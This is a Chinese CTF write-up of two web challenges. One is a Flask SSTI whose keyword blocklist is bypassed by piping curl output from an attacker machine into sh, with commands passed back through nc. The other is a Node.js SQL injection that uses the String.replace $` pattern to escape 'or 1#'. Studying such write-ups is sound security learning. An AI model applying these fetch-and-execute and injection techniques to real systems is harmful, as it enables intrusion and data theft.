赛题记录 | 2025西湖论剑两道WEB的一些思考
例题1: Python SSTI
目标站点存在 SSTI, 通过命令执行, 拿到源码如下:
from flask import Flask, request, render_template, render_template_string, redirect, url_for, abort
from urllib.parse import unquote
app = Flask(__name__)
phone = ''
defis_safe_input(user_input):
# unsafe_keywords = ['eval', 'exec', 'os', 'system', 'import', '__import__']
unsafe_keywords = ['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']
if any(keyword in user_input for keyword in unsafe_keywords):
# if user_input in unsafe_keywords:
returnTrue
returnFalse
@app.route("/")
defindex():
return render_template("index.html")
@app.route("/login", methods=["POST"])
deflogin():
global phone
phone = request.form.get("phone_number")
return render_template("login.html")
@app.route("/cpass", methods=["POST"])
defcheck():
global phone
password = request.form.get("password")
if is_safe_input(phone):
return redirect(url_for('index'))
if phone != "1686682318"and password != "Happy_news_admin":
return render_template_string('<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>login failed</title>
</head>
<body>
<script>alert("{}The number does not exist or the password is incorrect!") </script>
<script>window.location.href = "/";</script>
</body>
</html>'.format(phone))
else:
return redirect(url_for('index'))
if __name__ == '__main__':
app.run(host="0.0.0.0", port=int("5005"), debug=True)
实际上只是普通的一道 SSTI 题目, 但比赛时临时想到了一个绕过方法, 将其记载下来:
这是一个普通的 curl 命令拿机器返回值的案例, 绕过比较简单: 使用curl 目标机器 | sh
即可 (当然也可以通过print与进制绕过), 具体拿 flag 过程如下:
一点一点使用 nc 回传要执行的命令即可. 对于上图为什么没有伪造 HTTP 响应头即可攻击成功, 可能对 CURL 版本有具体限制, 以后遇到尽量加上 HTTP 响应头.
例题2: Nodejs SQL 注入
比赛给出了代码如下:
var express = require('express');
var router = express.Router();
module.exports = router;
router.get('/',(req,res,next)=>{
if(req.query.info){
if(req.url.match(/,/ig)){
res.end('hacker1!');
}
var info = JSON.parse(req.query.info);
if(info.username&&info.password){
var username = info.username;
var password = info.password;
if(info.username.match(/'|"|\/) || info.password.match(/'|"|\/)){
res.end('hacker2!');
}
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
connection.query(sql,function (err,rs) {
if (err) {
res.end('error1');
}
else {
if(rs.length>0){
res.sendFile('/flag');
}else {
res.end('username or password error');
}
}
})
}
else{
res.end("please input the data");
}
}else{
res.end("please input the data");
}
})
其中有两层关卡, 第一层是不允许URI中存在逗号, 这里使用 URL 编码即可绕过.
第二层关卡才是核心, 实际上考核的是js
中对String.replace
函数的一个特性.
参考: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch
中说明了JavaScript
特性, 这里可以利用的只有
$` 与 $'
下面看一下具体利用方案:
var str = "Hello, my name is Heihu577.";
var regex = /my name/;
var result = str.replace(regex, "A $` B");
console.log(result);
而最终的运行结果为:
$` 的位置被替换成了 待替换字符前的所有字符
, 所以这里Hello
被挤出来, 那么根据这个场景, 我们可以模拟一个与比赛相同的环境:
var str = "SELECT * FROM userinfo WHERE username='{username}' and password='{password}'";
str = str.replace('{username}', '$` or 1#'); // 可控点
str = str.replace('{password}', 'aa'); // 可控点
console.log(str);
最终运行结果:
这里成功将or 1#
逃逸出来, 从而导致了绕过.
原文始发于微信公众号(Heihu Share):赛题记录 | 2025西湖论剑两道WEB的一些思考
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论